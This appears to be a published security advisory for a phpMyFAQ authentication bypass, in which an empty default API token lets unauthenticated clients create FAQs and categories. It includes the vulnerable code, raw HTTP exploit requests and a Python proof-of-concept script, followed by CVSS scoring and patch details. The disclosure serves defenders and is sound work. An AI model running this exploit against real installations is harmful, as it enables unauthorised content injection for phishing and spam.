phpMyFAQ: Default Empty API Token Authentication Bypass

説明

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

'api.enableAccess'   => 'true',
'api.apiClientToken' => '',       // ← defaults to empty string

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

protected function hasValidToken(): void
{
    $request = Request::createFromGlobals();
    if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {
        throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');
    }
}

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

File Endpoint Method
src/.../Controller/Api/FaqController.php:701-703 /api/v4.0/faq/create POST
src/.../Controller/Api/FaqController.php:857-859 /api/v4.0/faq/update PUT
src/.../Controller/Api/CategoryController.php:278-280 /api/v4.0/category POST
src/.../Controller/Api/QuestionController.php:89-91 /api/v4.0/question POST

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json

{
    "language": "en",
    "category-id": 1,
    "question": "Test Question",
    "answer": "Test Answer",
    "keywords": "test",
    "author": "test",
    "email": "[email protected]",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 401 — correctly blocked):

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

Step 2 — Send the same request with an empty x-pmf-token header:

POST /api/v4.0/faq/create HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "category-id": 1,
    "question": "[POC] Authentication Bypass Confirmed",
    "answer": "This FAQ was created without any valid authentication token.",
    "keywords": "poc,bypass",
    "author": "Security Researcher",
    "email": "[email protected]",
    "is-active": true,
    "is-sticky": false
}

Response (HTTP 201 — bypass confirmed):

{"stored": true}

Step 3 — Category creation via the same bypass:

POST /api/v4.0/category HTTP/1.1
Host: <target>
Content-Type: application/json
x-pmf-token: 

{
    "language": "en",
    "parent-id": 0,
    "category-name": "POC_Category",
    "description": "Category created via empty token bypass",
    "user-id": 1,
    "group-id": -1,
    "is-active": true,
    "show-on-homepage": true
}

Response (HTTP 201):

{"stored": true}

Step 4 — Verify injected content is publicly visible:

GET /api/v4.0/faqs/1 HTTP/1.1
Host: <target>

Response (HTTP 200 — injected FAQ publicly exposed):

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

PoC with Python (urllib — no external dependencies):

import urllib.request, json

TARGET = "http://<target>"
HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass
data = json.dumps({
    "language": "en", "category-id": 1,
    "question": "[POC] Auth Bypass", "answer": "Created via bypass.",
    "keywords": "poc", "author": "R", "email": "[email protected]",
    "is-active": True, "is-sticky": False
}).encode()
req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS, method="POST")
resp = urllib.request.urlopen(req)
print(f"Status: {resp.status}")  # 201 — bypass successful

Overlap Summary:

Test x-pmf-token HTTP Status Result
No auth header (not sent) 401 Unauthorized 🔒 Correctly blocked
Empty token header "" 201 Created 🔓 Bypass confirmed
Category creation "" 201 Created 🔓 Bypass confirmed
Public verification (not needed) 200 OK 📄 Injected content visible

Impact

This is an authentication bypass (CWE-1188) affecting any phpMyFAQ installation where the administrator has not explicitly set a non-empty API client token — which is the default state after installation.

  • Who is impacted? Any organization running phpMyFAQ with default configuration. The REST API is enabled by default, and the token defaults to empty. No action by the administrator is required for the vulnerability to exist — it is the out-of-the-box state.
  • What can an attacker do? Create and modify FAQ entries, categories, and questions without any authentication. This enables content injection for phishing, SEO spam, reputation damage, and distribution of malicious links through the knowledge base.
  • What is NOT affected? Read-only API endpoints are intentionally public. Session-authenticated admin endpoints are not affected. File upload and backup endpoints require separate session-based authentication.

基本情報

タイプ
reviewed
深刻度
high
GitHub 上のアドバイザリ
アドバイザリを開く ↗
リポジトリのアドバイザリ
リポジトリのアドバイザリを開く ↗
ソースコード
ソースを見る ↗
公開(アドバイザリ)
2026-05-20 15:46:42 UTC
更新
2026-06-09 00:05:54 UTC
GitHub レビュー済み
2026-05-20 15:46:42 UTC
NVD で公開
2026-05-28

EPSS Score

Score Percentile
0.10% 26.96%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N クリックして展開
攻撃ベクター (AV:N)
インターネットなど、ルーティングされたネットワーク越しに遠隔から悪用しうる。端末の前にいる必要はない。
攻撃の複雑さ (AC:L)
攻撃者が条件を満たせば、レース条件や珍しい構成に依存せずに再現しやすい。
必要な権限 (PR:N)
事前のログインや昇格は不要で、匿名アクセスのまま踏み台にしうる。
ユーザーの関与 (UI:N)
メールのリンクを開く、マクロを有効にするなど、被害者の協力がなくても成立しうる。
スコープ (S:U)
影響は脆弱コンポーネントと同一のセキュリティ権限・信頼境界の内側に収まる。
機密性への影響 (C:N)
機微情報の漏えいは想定しにくい。
完全性への影響 (I:H)
権限の奪取や広範なログ改竄など、システムの信頼根拠を揺るがす改ざんが現実的。
可用性への影響 (A:N)
業務継続に支障が出るレベルの停止や劣化は想定されない。
8.7 4.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X クリックして展開
攻撃ベクター (AV:N)
インターネットや社内 WAN など、ルーティングされたネットワーク越しに遠隔から踏み台にしうる。
攻撃の複雑さ (AC:L)
手順が短く、再現性が高い。
攻撃要件 (AT:N)
到達性以外に、追加のインフラ条件やデータ前提は要らない。
必要な権限 (PR:N)
昇格やログインなしで踏み台にしうる。
ユーザーの関与 (UI:N)
被害者の操作なしでも攻撃が完結しうる。
脆弱システムの機密性への影響 (VC:N)
脆弱な対象から機微情報が読まれうる余地はほとんどない。
脆弱システムの完全性への影響 (VI:H)
監査ログの改竄や広範なデータ偽装など、信頼根拠を崩す水準。
脆弱システムの可用性への影響 (VA:N)
業務を止めるほどの停止や劣化は想定しにくい。
後続システムの機密性への影響 (SC:N)
脆弱点を経由して下流の機微情報が読まれうる余地はほとんどない。
後続システムの完全性への影響 (SI:N)
下流の記録や設定が歪められる局面はほとんど想定されない。
後続システムの可用性への影響 (SA:N)
下流サービスが止まるほどの影響は想定しにくい。
悪用の成熟度(Threat) (E:X)
Threat 情報が未指定のとき、最悪側(実害報告あり)に寄せて採点する。
機密性に対するセキュリティ要件(環境) (CR:X)
未指定のときは情報不足とみなし、スコア上は高要求(保守的)として扱う。
完全性に対するセキュリティ要件(環境) (IR:X)
未指定のときは情報不足とみなし、スコア上は高要求(保守的)として扱う。
可用性に対するセキュリティ要件(環境) (AR:X)
未指定のときは情報不足とみなし、スコア上は高要求(保守的)として扱う。
変更後の攻撃ベクター (MAV:X)
環境側で上書きしない限り、ベースの AV を採用。
変更後の攻撃の複雑さ (MAC:X)
環境側で上書きしない限り、ベースの AC を採用。
変更後の攻撃要件 (MAT:X)
環境側で上書きしない限り、ベースの AT を採用。
変更後の必要な権限 (MPR:X)
環境側で上書きしない限り、ベースの PR を採用。
変更後のユーザーの関与 (MUI:X)
環境側で上書きしない限り、ベースの UI を採用。
変更後の脆弱システムの機密性への影響 (MVC:X)
環境側で上書きしない限り、ベースの VC を採用。
変更後の脆弱システムの完全性への影響 (MVI:X)
環境側で上書きしない限り、ベースの VI を採用。
変更後の脆弱システムの可用性への影響 (MVA:X)
環境側で上書きしない限り、ベースの VA を採用。
変更後の後続システムの機密性への影響 (MSC:X)
環境側で上書きしない限り、ベースの SC を採用。
変更後の後続システムの完全性への影響 (MSI:X)
環境側で上書きしない限り、ベースの SI を採用。
変更後の後続システムの可用性への影響 (MSA:X)
環境側で上書きしない限り、ベースの SA を採用。
安全性(補足、スコア非変更) (S:X)
人的安全への追加評価を行わない。
自動化可否(補足、スコア非変更) (AU:X)
キルチェーン自動化の評価を行わない。
復旧(補足、スコア非変更) (R:X)
サービス復元パスの評価を行わない。
価値密度(補足、スコア非変更) (V:X)
一撃で握れる資産規模の評価を行わない。
対応工数(補足、スコア非変更) (RE:X)
修復コストの評価を行わない。
提供元の緊急度(補足、スコア非変更) (U:X)
ベンダー色分けの緊急度を付さない。

Identifiers

CWEs

CWE id Name
CWE-1188 Initialization of a Resource with an Insecure Default

Credits

  • guayu-kakeru (reporter)

Affected packages (2)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
composer thorsten/phpmyfaq <= 4.1.2 4.1.3
composer phpmyfaq/phpmyfaq <= 4.1.2 4.1.3

References

cvelogic Threat Intelligence